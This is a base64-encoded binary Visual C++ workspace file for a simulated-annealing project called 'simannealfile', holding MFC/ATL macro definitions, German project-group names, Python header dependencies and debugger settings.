CiNkZWZpbmUgREVDTEFSRV9QUk9URUNUX0ZJTkFMX0NPTlNUUlVDVCgpCiNkZWZpbmUgREVD TEFSRV9SRUdJU1RSWShjbGFzcywgcGlkLCB2cGlkLCBuaWQsIGZsYWdzKQojZGVmaW5lIERF Q0xBUkVfUkVHSVNUUllfUkVTT1VSQ0UoeCkKI2RlZmluZSBERUNMQVJFX1JFR0lTVFJZX1JF U09VUkNFSUQoeCkKI2RlZmluZSBERUNMQVJFX1NFUklBTChjbGFzc19uYW1lKQojZGVmaW5l IERFQ0xBUkVfU1RBVElDX1JFR0lTVFJZX1JFU09VUkNFKHgpCiNkZWZpbmUgREVDTEFSRV9T VEFUSUNfUkVHSVNUUllfUkVTT1VSQ0VJRCh4KQojZGVmaW5lIERFQ0xBUkVfVklFV19TVEFU VVMoc3RhdHVzRmxhZ3MpCiNkZWZpbmUgREVDTEFSRV9XTkRfQ0xBU1MoV25kQ2xhc3NOYW1l KQojZGVmaW5lIERFQ0xBUkVfV05EX1NVUEVSQ0xBU1MoV25kQ2xhc3NOYW1lLCBPcmlnV25k Q2xhc3NOYW1lKQojZGVmaW5lIERFRklORV9DT01NQU5EKHgsIHN6Q29tbWFuZCkKI2RlZmlu ZSBERUxFR0FURV9EVUFMX0lOVEVSRkFDRShvYmplY3RDbGFzcywgZHVhbENsYXNzKQojZGVm aW5lIEVORF9DT05ORUNUSU9OX1BBUlQobG9jYWxDbGFzcykgfSBtX3gjI2yUAwECAQBhcxhp tAB4AQMAZCBjbGFzcyBYIyNsb2NhbENsYXNzOwojZGVmaW5lIEVORF9EVUFMX0lOVEVSRkFD RV9QQVJUKGxvY2FsQ2xhc3MpIH0gbV94IyNsb2NhbENsYXNzOyBmcmllbmQgY2xhc3MgWCMj bG9jYWxDbGFzczsKI2RlZmluZSBFTkRfSU5URVJGQUNFX1BBUlQobG9jYWxDbGFzcykgfSBt X3gjI2xvY2FsQ2xhc3M7IGZyaWVuZCBjbGFzcyBYIyNsb2NhbENsYXNzOwojZGVmaW5lIEVY VEVSTl9QUk9DRVNTX0xPQ0FMKGNsYXNzX25hbWUsIGlkZW50X25hbWUpIGV4dGVybiBBRlhf REFUQSBQUk9DRVNTX0xPQ0FMKGNsYXNzX25hbWUsIGlkZW50X25hbWUpCiNkZWZpbmUgRVhU X1NOQVBJTk1FTlVJRChpZCkKI2RlZmluZSBJTVBMRU1FTlRfRFVBTF9FUlJPUklORk8ob2Jq ZWN0Q2xhc3MsIHJpaWRTb3VyY2UpCiNkZWZpbmUgSU1QTEVNRU5UX0RZTkFNSUMoY2xhc3Nf bmFtZSwgYmFzZV9jbGFzc19uYW1lKQojZGVmaW5lIElNUExFTUVOVF9EWU5DUkVBVEUoY2xh c3NfbmFtZSwgYmFzZV9jbGFzc19uYW1lKQojZGVmaW5lIElNUExFTUVOVF9PTEVDUkVBVEUo Y2xhc3NfbmFtZSwgZXh0ZXJuYWxfbmFtZSwgbCwgdzEsIHcyLCBiMSwgYjIsIGIzLCBiNCwg YjUsIGI2LCBiNywgYjgpCiNkZWZpbmUgSU1QTEVNRU5UX09MRUNSRUFURV9FWChjbGFzc19u YW1lLCBleHRlcm5hbF9uYW1lLCBsLCB3MSwgdzIsIGIxLCBiMiwgYjMsIGI0LCBiNSwgYjYs IGI3LCBiOCkKI2RlZmluZSBJTVBMRU1FTlRfT0xFQ1RMVFlQRShjbGFzc19uYW1lLCBpZHNV c2VyVHlwZU5hbWUsIGR3T2xlTWlzYykKI2RlZmluZSBJTVBMRU1FTlRfT0xFVFlQRUxJQihj bGFzc19uYW1lLCB0bGlkLCB3VmVyTWFqb3IsIHdWZXJNaW5vcikKI2RlZmluZSBJTVBMRU1F TlRfU0VSSUFMKGNsYXNzX25hbWUsIGJhc2VfY2xhc3NfbmFtZSwgd1NjaGVtYSkKI2RlZmlu ZSBJTklUX0lOVEVSRkFDRV9QQVJUKHRoZUNsYXNzLCBsb2NhbENsYXNzKQojZGVmaW5lIFBS T0NFU1NfTE9DQUwoY2xhc3NfbmFtZSwgaWRlbnRfbmFtZSkgQUZYX0RBAQAFAAEAAAD//wEA CwBDQ2xzRmxkU2xvYg1zaW1hbm5lYWxmaWxlAAAAAAAAAAAA//8AAHNwAQAIAENQcm9qZWN0 G3NpbWFubmVhbGZpbGUgLSBXaW4zMiBEZWJ1Zx1zaW1hbm5lYWxmaWxlIC0gV2luMzIgUmVs ZWFzZQIAAAABgAAAAAAAAAAAG3NpbWFubmVhbGZpbGUgLSBXaW4zMiBEZWJ1ZwIAAAABgAAA AAACAAAA6gUBAAAAAgAAAPsFAQAAAAAAAAAGCBRTU0JSAAEACwBDVGFyZ2V0SXRlbRtzaW1h bm5lYWxmaWxlIC0gV2luMzIgRGVidWcAAAAABggUU1NCUhBRdWVsbGNvZGVkYXRlaWVuAQAK AENQcm9qR3JvdXAGCBRTU0JSBQgUREpXDkhlYWRlci1EYXRlaWVuAQAKAENQcm9qR3JvdXAG CBRTU0JSBQgUREpXEVJlc3NvdXJjZW5kYXRlaWVuAQAKAENQcm9qR3JvdXAGCBRTU0JSBQgU REpXA2RlcAEAFABDRGVwZW5kZW5jeUNvbnRhaW5lcgYIFFNTQlIMbG9uZ29iamVjdC5oAQAP AENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMZnVuY29iamVjdC5oAQAPAENEZXBlbmRlbmN5Rmls ZQYIFFNTQlILc3lzbW9kdWxlLmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgphYnN0cmFj dC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIPdW5pY29kZW9iamVjdC5oAQAPAENEZXBl bmRlbmN5RmlsZQYIFFNTQlIJY29iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlII b2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgxjZWxsb2JqZWN0LmgBAA8AQ0Rl cGVuZGVuY3lGaWxlBggUU1NCUghweXRob24uaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JS DXJhbmdlb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUglweXN0YXRlLmgBAA8A Q0RlcGVuZGVuY3lGaWxlBggUU1NCUghweXBvcnQuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRT U0JSDXR1cGxlb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUg5tZXRob2RvYmpl Y3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSB3B5ZnBlLmgBAA8AQ0RlcGVuZGVuY3lG aWxlBggUU1NCUg1mbG9hdG9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlINY2xh c3NvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSC2ludHJjaGVjay5oAQAPAENE ZXBlbmRlbmN5RmlsZQYIFFNTQlIHY2V2YWwuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JS C3RyYWNlYmFjay5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMbW9kc3VwcG9ydC5oAQAP AENEZXBlbmRlbmN5RmlsZQYIFFNTQlIJb2JqaW1wbC5oAQAPAENEZXBlbmRlbmN5RmlsZQYI FFNTQlIMcGF0Y2hsZXZlbC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIOc3RyaW5nb2Jq ZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgxsaXN0b2JqZWN0LmgBAA8AQ0RlcGVu ZGVuY3lGaWxlBggUU1NCUg5tb2R1bGVvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRT U0JSC2ludG9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIJYmFzZXRzZC5oAQAP AENEZXBlbmRlbmN5RmlsZQYIFFNTQlILcHl0aG9ucnVuLmgBAA8AQ0RlcGVuZGVuY3lGaWxl BggUU1NCUghpbXBvcnQuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSD2NvbXBsZXhvYmpl Y3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCXB5ZGVidWcuaAEADwBDRGVwZW5kZW5j eUZpbGUGCBRTU0JSDXNsaWNlb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgxm aWxlb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgpweWVycm9ycy5oAQAPAENE ZXBlbmRlbmN5RmlsZQYIFFNTQlIIY29uZmlnLmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NC UgdweW1lbS5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIOYnVmZmVyb2JqZWN0LmgBAA8A Q0RlcGVuZGVuY3lGaWxlBggUU1NCUgxkaWN0b2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxl BggUU1NCUgUIFERKVwUIFERKVwUIFERKV2RlZmluZSBORVRfQVBJX0ZVTkNUSU9OIF9fc3Rk Y2FsbAojZGVmaW5lIE5UQVBJIF9fc3RkY2FsbAojZGVmaW5lIHBhc2NhbCBfX3N0ZGNhbGwK I2RlZmluZSBQQVNDQUwgX19zdGRjYWxsCiNkZWZpbmUgUlBDX0VOVFJZIF9fc3RkY2FsbAoj ZGVmaW5lIFJQQ19WQVJfRU5UUlkgX19jZGVjbAojZGVmaW5lIFNJWkVfVF9NQVggVUlOVF9N QVgKI2RlZmluZSBTUUxfQVBJIF9fc3RkY2FsbAojZGVmaW5lIFNSVkFQSQojZGVmaW5lIFNU REFQSSBIUkVTVUxUIFNUREFQSUNBTExUWVBFCiNkZWZpbmUgU1REQVBJXyh0eXBlKSB0eXBl IFNUREFQSUNBTExUWVBFCiNkZWZpbmUgU1REQVBJQ0FMTFRZUEUgX19zdGRjYWxsCiNkZWZp bmUgU1REQVBJViBIUkVTVUxUIFNUREFQSVZDQUxMVFlQRQojZGVmaW5lIFNUREFQSVZfKHR5 cGUpIHR5cGUgU1REQVBJVkNBTExUWVBFCiNkZWZpbmUgU1REQVBJVkNBTExUWVBFIF9fY2Rl Y2wKI2RlZmluZSBTVERNRVRIT0QobWV0aG9kKSB2aXJ0dWFsIEhSRVNVTFQgU1RETUVUSE9E Q0FMTFRZUEUgbWV0aG9kCiNkZWZpbmUgU1RETUVUSE9EXyh0eXBlLG1ldGhvZCkgdmlydHVh bCB0eXBlIFNURE1FVEhPRENBTExUWVBFIG1ldGhvZAojZGVmaW5lIFNURE1FVEhPRENBTExU WVBFIF9fc3RkY2FsbAojZGVmaW5lIFNURE1FVEhPRElNUCBIUkVTVUxUIFNURE1FVEhPRENB TExUWVBFCiNkZWZpbmUgU1RETUVUSE9ESU1QXyh0eXBlKSB0eXBlIFNURE1FVEhPRENBTExU WVBFCiNkZWZpbmUgU1RETUVUSE9ESU1QViBIUkVTVUxUIFNURE1FVEhPRFZDQUxMVFlQRQoj ZGVmaW5lIFNURE1FVEhPRElNUFZfKHR5cGUpIHR5cGUgU1RETUVUSE9EVkNBTExUWVBFCiNk ZWZpbmUgU1RETUVUSE9EVkNBTExUWVBFIF9fY2RlY2wKI2RlZmluZSBTVERNQVBJSU5JVENB TExUWVBFIF9fY2RlY2wKI2RlZmluZSBVTkFMSUdORUQKI2RlZmluZSBWRldBUElWCiNkZWZp bmUgV0RCR0FQSSBfX3N0ZGNhbGwKI2RlZmluZSBXSU5BUEkgX19zdGRjYWxsCiNkZWZpbmUg V0lOQVBJViBfX2NkZWNsCiNkZWZpbmUgV0lOT0xFQVBJIEhSRVNVTFQgU1REQVBJQ0FMTFRZ UEUKI2RlZmluZSBXSU5PTEVBUElfKHR5cGUpIHR5cGUgU1REQVBJQ0FMTFRZUEUKI2RlZmlu ZSBhZnhfbXNnCiNkZWZpbmUgQVRMX05PX1ZUQUJMRSBfX2RlY2xzcGVjKG5vdnRhYmxlKQoj ZGVmaW5lIEFUTEFQSSBIUkVTVUxUCiNkZWZpbmUgQVRMQVBJXyh4KSB4CiNkZWZpbmUgQUZY X0NERUNMIF9fY2RlY2wKI2RlZmluZSBBRlhfQ0xBU1NfRVhQT1JUIF9fZGVjbHNwYJCzAAAA AAABAQEBAQEIAEVfRVgoY2xhc3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX09MRUNUTFRZUEUo Y2xhc3NfbmFtZSkKI2RlZmluZSBERUNMQVJFX09MRVRZUEVMSUIoY2xhc3NfbmFtZSkKI2Rl ZmluZSBERUNMQVJFX09OTFlfQUdHUkVHQVRBQkxFKHgpCiNkZWZpbmUgREVDTEFSRV9PUEFR VUUzMih4KQojZGVmaW5lIERFQ0xBUkVfUEFSU0VfTUFQKCkKI2RlZmluZSBERUNMQVJFX1BP TFlfQUdHUkVHQVRBQkxFKHgpCiNkZWZpbmUgREVDTEFSRV9QUk9QRVJUWV9TVVBQT1JUKGNs YXNzKQojZGVmaW5lIERFQ0xBUkVfUFJPUFBBR0VJRFMoY2xhc3NfbmFtZSkKI2RlZmluZSBE RUNMQVJFX1BST1RFQ1RfRklOQUxfQ09OU1RSVUNUKCkKI2RlZmluZSBERUNMQVJFX1JFR0lT VFJZKGNsYXNzLCBwaWQsIHZwaWQsIG5pZCwgZmxhZ3MpCiNkZWZpbmUgREVDTEFSRV9SRUdJ U1RSWV9SRVNPVVJDRSh4KQojZGVmaW5lIERFQ0xBUkVfUkVHSVNUUllfUkVTT1VSQ0VJRCh4 KQojZGVmaW5lIERFQ0xBUkVfU0VSSUFMKGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9T VEFUSUNfUkVHSVNUUllfUkVTT1VSQ0UoeCkKI2RlZmluZSBERUNMQVJFX1NUQVRJQ19SRUdJ U1RSWV9SRVNPVVJDRUlEKHgpCiNkZWZpbmUgREVDTEFSRV9WSUVXX1NUQVRVUyhzdGF0dXNG bGFncykKI2RlZmluZSBERUNMQVJFX1dORF9DTEFTUyhXbmRDbGFzc05hbWUpCiNkZWZpbmUg REVDTEFSRV9XTkRfU1VQRVJDTEFTUyhXbmRDbGFzc05hbWUsIE9yaWdXbmRDbGFzc05hbWUp CiNkZWZpbmUgREVGSU5FX0NPTU1BTkQoeCwgc3pDb21tYW5kKQojZGVmaW5lIERFTEVHQVRF X0RVQUxfSU5URVJGQUNFKG9iamVjdENsYXNzLCBkdWFsQ2xhc3MpCiNkZWZpbmUgRU5EX0NP Tk5FQ1RJT05fUEFSVChsb2NhbENsYXNzKSB9IG1feCMjbJQDAQIBAGFzGGm0AHgBAwBkIGNs YXNzIFgjI2xvY2FsQ2xhc3M7CiNkZWZpbmUgRU5EX0RVQUxfSU5URVJGQUNFX1BBUlQobG9j YWxDbGFzcykgfSBtX3gjI2xvY2FsQ2xhc3M7IGZyaWVuZCBjbGFzcyBYIyNsb2NhbENsYXNz OwojZGVmaW5lIEVORF9JTlRFUkZBQ0VfUEFSVChsb2NhbENsYXNzKSB9IG1feCMjbG9jYWxD bGFzczsgZnJpZW5kIGNsYXNzIFgjI2xvY2FsQ2xhc3M7CiNkZWZpbmUgRVhURVJOX1BST0NF U1NfTE9DQUwoY2xhc3NfbmFtZSwgaWRlbnRfbmFtZSkgZXh0ZXJuIEFGWF9EQVRBIFBST0NF U1NfTE9DQUwoY2xhc3NfbmFtZSwgaWRlbnRfbmFtZSkKI2RlZmluZSBFWFRfU05BUElOTUVO VUlEKGlkKQojZGVmaW5lIElNUExFTUVOVF9EVUFMX0VSUk9SSU5GTyhvYmplY3RDbGFzcywg cmlpZFNvdXJjZSkKI2RlZmluZSBJTVBMRU1FTlRfRFlOQU1JQyhjbGFzc19uYW1lLCBiYXNl X2NsYXNzX25hbWUpCiNkZWZpbmUgSU1QTEVNRU5UX0RZTkNSRUFURShjbGFzc19uYW1lLCBi YXNlX2NsYXNzX25hbWUpCiNkZWZpbmUgSU1QTEVNRU5UX09MRUNSRUFURShjbGFzc19uYW1l LCBleHRlcm5hbF9uYW1lLCBsLCB3MSwgdzIsIGIxLCBiMiwgYjMsIGI0LCBiNSwgYjYsIGI3 LCBiOCkKI2RlZmluZSBJTVBMRU1FTlRfT0xFQ1JFQVRFX0VYKGNsYXNzX25hbWUsIGV4dGVy bmFsX25hbWUsIGwsIHcxLCB3MiwgYjEsIGIyLCBiMywgYjQsIGI1LCBiNiwgYjcsIGI4KQoj ZGVmaW5lIElNUExFTUVOVF9PTEVDVExUWVBFKGNsYXNzX25hbWUsIGlkc1VzZXJUeXBlTmFt ZSwgZHdPbGVNaXNjKQojZGVmaW5lIElNUExFTUVOVF9PTEVUWVBFTElCKGNsYXNzX25hbWUs IHRsaWQsIHdWZXJNYWpvciwgd1Zlck1pbm9yKQojZGVmaW5lIElNUExFTUVOVF9TRVJJQUwo Y2xhc3NfbmFtZSwgYmFzZV9jbGFzc19uYW1lLCB3U2NoZW1hKQojZGVmaW5lIElOSVRfSU5U RVJGQUNFX1BBUlQodGhlQ2xhc3MsIGxvY2FsQ2xhc3MpCiNkZWZpbmUgUFJPQ0VTU19MT0NB TChjbGFzc19uYW1lLCBpZGVudF9uYW1lKSBBRlhfREFEAGUAYgB1AGcAZwBlAHIAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgACAf////8JAAAA /////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEwAAAAAFAAAAAAAAEQA bwBjAHUAbQBlAG4AdABzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAUAAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAVgAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP// /////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAoAAwAAAAAAAAD/////AAAAAAQAAAAM3GJlcndhY2h1bmcxAAAM3GJlcndhY2h1bmcy AAAM3GJlcndhY2h1bmczAAAM3GJlcndhY2h1bmc0AAAAAAAAAAABAAAAdWcdc2ltYW5uZWFs ZmlsZSAtIFdpbjMyIFJlbGVhc2UCAAAAAYAAAAAAAAAAABtzaW1hbm5lYWxmaWxlIC0gV2lu MzIgRGVidWcCAAAAAYAAAAAAAgAAAOoFAQAAAAIAAAD7BQEAAAAAAAAABggUU1NCUgABAAsA Q1RhcmdldEl0ZW0bc2ltYW5uZWFsZmlsZSAtIFdpbjMyIERlYnVnAAAAAAYIFFNTQlIQUXVl bGxjb2RlZGF0ZWllbgEACgBDUHJvakdyb3VwBggUU1NCUgUIFERKVw5IZWFkZXItRGF0ZWll bgEACgBDUHJvakdyb3VwBggUU1NCUgUIFERKVxFSZXNzb3VyY2VuZGF0ZWllbgEACgBDUHJv akdyb3VwBggUU1NCUgUIFERKVwNkZXABABQAQ0RlcGVuZGVuY3lDb250YWluZXIGCBRTU0JS DGxvbmdvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSDGZ1bmNvYmplY3QuaAEA DwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSC3N5c21vZHVsZS5oAQAPAENEZXBlbmRlbmN5Rmls ZQYIFFNTQlIKYWJzdHJhY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSD3VuaWNvZGVv YmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCWNvYmplY3QuaAEADwBDRGVwZW5k ZW5jeUZpbGUGCBRTU0JSCG9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMY2Vs bG9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIIcHl0aG9uLmgBAA8AQ0RlcGVu ZGVuY3lGaWxlBggUU1NCUg1yYW5nZW9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNT QlIJcHlzdGF0ZS5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIIcHlwb3J0LmgBAA8AQ0Rl cGVuZGVuY3lGaWxlBggUU1NCUg10dXBsZW9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYI FFNTQlIObWV0aG9kb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgdweWZwZS5o AQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlINZmxvYXRvYmplY3QuaAEADwBDRGVwZW5kZW5j eUZpbGUGCBRTU0JSDWNsYXNzb2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUgtp bnRyY2hlY2suaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSB2NldmFsLmgBAA8AQ0RlcGVu ZGVuY3lGaWxlBggUU1NCUgt0cmFjZWJhY2suaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JS DG1vZHN1cHBvcnQuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCW9iamltcGwuaAEADwBD RGVwZW5kZW5jeUZpbGUGCBRTU0JSDHBhdGNobGV2ZWwuaAEADwBDRGVwZW5kZW5jeUZpbGUG CBRTU0JSDnN0cmluZ29iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMbGlzdG9i amVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIObW9kdWxlb2JqZWN0LmgBAA8AQ0Rl cGVuZGVuY3lGaWxlBggUU1NCUgtpbnRvYmplY3QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRT U0JSCWJhc2V0c2QuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSC3B5dGhvbnJ1bi5oAQAP AENEZXBlbmRlbmN5RmlsZQYIFFNTQlIIaW1wb3J0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggU U1NCUg9jb21wbGV4b2JqZWN0LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUglweWRlYnVn LmgBAA8AQ0RlcGVuZGVuY3lGaWxlBggUU1NCUg1zbGljZW9iamVjdC5oAQAPAENEZXBlbmRl bmN5RmlsZQYIFFNTQlIMZmlsZW9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIK cHllcnJvcnMuaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSCGNvbmZpZy5oAQAPAENEZXBl bmRlbmN5RmlsZQYIFFNTQlIHcHltZW0uaAEADwBDRGVwZW5kZW5jeUZpbGUGCBRTU0JSDmJ1 ZmZlcm9iamVjdC5oAQAPAENEZXBlbmRlbmN5RmlsZQYIFFNTQlIMZGljdG9iamVjdC5oAQAP AENEZXBlbmRlbmN5RmlsZQYIFFNTQlIFCBRESlcFCBRESlcFCBRESldkZWZpbmUgTkVUX0FQ SV9GVU5DVElPTiBfX3N0ZGNhbGwKI2RlZmluZSBOVEFQSSBfX3N0ZGNhbGwKI2RlZmluZSBw YXNjYWwgX19zdGRjYWxsCiNkZWZpbmUgUEFTQ0FMIF9fc3RkY2FsbAojZGVmaW5lIFJQQ19F TlRSWSBfX3N0ZGNhbGwKI2RlZmluZSBSUENfVkFSX0VOVFJZIF9fY2RlY2wKI2RlZmluZSBT SVpFX1RfTUFYIFVJTlRfTUFYCiNkZWZpbmUgU1FMX0FQSSBfX3N0ZGNhbGwKI2RlZmluZSBT UlZBUEkKI2RlZmluZSBTVERBUEkgSFJFU1VMVCBTVERBUElDQUxMVFlQRQojZGVmaW5lIFNU REFQSV8odHlwZSkgdHlwZSBTVERBUElDQUxMVFlQRQojZGVmaW5lIFNUREFQSUNBTExUWVBF IF9fc3RkY2FsbAojZGVmaW5lIFNUREFQSVYgSFJFU1VMVCBTVERBUElWQ0FMTFRZUEUKI2Rl ZmluZSBTVERBUElWXyh0eXBlKSB0eXBlIFNUREFQSVZDQUxMVFlQRQojZGVmaW5lIFNUREFQ SVZDQUxMVFlQRSBfX2NkZWNsCiNkZWZpbmUgU1RETUVUSE9EKG1ldGhvZCkgdmlydHVhbCBI UkVTVUxUIFNURE1FVEhPRENBTExUWVBFIG1ldGhvZAojZGVmaW5lIFNURE1FVEhPRF8odHlw ZSxtZXRob2QpIHZpcnR1YWwgdHlwZSBTVERNRVRIT0RDQUxMVFlQRSBtZXRob2QKI2RlZmlu ZSBTVERNRVRIT0RDQUxMVFlQRSBfX3N0ZGNhbGwKI2RlZmluZSBTVERNRVRIT0RJTVAgSFJF U1VMVCBTVERNRVRIT0RDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRElNUF8odHlwZSkgdHlw ZSBTVERNRVRIT0RDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRElNUFYgSFJFU1VMVCBTVERN RVRIT0RWQ0FMTFRZUEUKI2RlZmluZSBTVERNRVRIT0RJTVBWXyh0eXBlKSB0eXBlIFNURE1F VEhPRFZDQUxMVFlQRQojZGVmaW5lIFNURE1FVEhPRFZDQUxMVFlQRSBfX2NkZWNsCiNkZWZp bmUgU1RETUFQSUlOSVRDQUxMVFlQRSBfX2NkZWNsCiNkZWZpbmUgVU5BTElHTkVECiNkZWZp bmUgVkZXQVBJVgojZGVmaW5lIFdEQkdBUEkgX19zdGRjYWxsCiNkZWZpbmUgV0lOQVBJIF9f c3RkY2FsbAojZGVmaW5lIFdJTkFQSVYgX19jZGVjbAojZGVmaW5lIFdJTk9MRUFQSSBIUkVT VUxUIFNUREFQSUNBTExUWVBFCiNkZWZpbmUgV0lOT0xFQVBJXyh0eXBlKSB0eXBlIFNUREFQ SUNBTExUWVBFCiNkZWZpbmUgYWZ4X21zZwojZGVmaW5lIEFUTF9OT19WVEFCTEUgX19kZWNs c3BlYyhub3Z0YWJsZSkKI2RlZmluZSBBVExBUEkgSFJFU1VMVAojZGVmaW5lIEFUTEFQSV8o eCkgeAojZGVmaW5lIEFGWF9DREVDTCBfX2NkZWNsCiNkZWZpbmUgQUZYX0NMQVNTX0VYUE9S VCBfX2RlY2xzcGCQswAAAAAAAQEBAQEBCABFX0VYKGNsYXNzX25hbWUpCiNkZWZpbmUgREVD TEFSRV9PTEVDVExUWVBFKGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9PTEVUWVBFTElC KGNsYXNzX25hbWUpCiNkZWZpbmUgREVDTEFSRV9PTkxZX0FHR1JFR0FUQUJMRSh4KQojZGVm aW5lIERFQ0xBUkVfT1BBUVVFMzIoeCkKI2RlZmluZSBERUNMQVJFX1BBUlNFX01BUCgpCiNk ZWZpbmUgREVDTEFSRV9QT0xZX0FHR1JFR0FUQUJMRSh4KQojZGVmaW5lIERFQ0xBUkVfUFJP UEVSVFlfU1VQUE9SVChjbGFzcykKI2RlZmluZSBERUNMQVJFX1BST1BQQUdFSURTKGNsYXNz X25hbWUpCiNkZWZpbmUgREVDTEFSRV9QUk9URUNUX0ZJTkFMX0NPTlNUUlVDVCgpCiNkZWZp bmUgREVDTEFSRV9SRUdJU1RSWShjbGFzcywgcGlkLCB2cGlkLCBuaWQsIGZsYWdzKQojZGVm aW5lIERFQ0xBUkVfUkVHSVNUUllfUkVTT1VSQ0UoeCkKI2RlZmluZSBERUNMQVJFX1JFR0lT VFJZX1JFU09VUkNFSUQoeCkKI2RlZmluZSBERUNMQVJFX1NFUklBTChjbGFzc19uYW1lKQoj ZGVmaW5lIERFQ0xBUkVfU1RBVElDX1JFR0lTVFJZX1JFU09VUkNFKHgpCiNkZWZpbmUgREVD TEFSRV9TVEFUSUNfUkVHSVNUUllfUkVTT1VSQ0VJRCh4KQojZGVmaW5lIERFQ0xBUkVfVklF V19TVEFUVVMoc3RhdHVzRmxhZ3MpCiNkZWZpbmUgREVDTEFSRV9XTkRfQ0xBU1MoV25kQ2xh c3NOYW1lKQojZGVmaW5lIERFQ0xBUkVfV05EX1NVUEVSQ0xBU1MoV25kQ2xhc3NOYW1lLCBP cmlnV25kQ2xhc3NOYW1lKQojZGVmaW5lIERFRklORV9DT01NQU5EKHgsIHN6Q29tbWFuZCkK I2RlZmluZSBERUxFR0FURV9EVUFMX0lOVEVSRkFDRShvYmplY3RDbGFzcywgZHVhbENsYXNz KQojZGVmaW5lIEVORF9DT05ORUNUSU9OX1BBUlQobG9jYWxDbGFzcykgfSBtX3gjI2yUAwEC AQBhcxhptAB4AQMAZCBjbGFzcyBYIyNsb2NhbENsYXNzOwojZGVmaW5lIEVORF9EVUFMX0lO VEVSRkFDRV9QQVJUKGxvY2FsQ2xhc3MpIH0gbV94IyNsb2NhbENsYXNzOyBmcmllbmQgY2xh c3MgWCMjbG9jYWxDbGFzczsKI2RlZmluZSBFTkRfSU5URVJGQUNFX1BBUlQobG9jYWxDbGFz cykgfSBtX3gjI2xvY2FsQ2xhc3M7IGZyaWVuZCBjbGFzcyBYIyNsb2NhbENsYXNzOwojZGVm aW5lIEVYVEVSTl9QUk9DRVNTX0xPQ0FMKGNsYXNzX25hbWUsIGlkZW50X25hbWUpIGV4dGVy 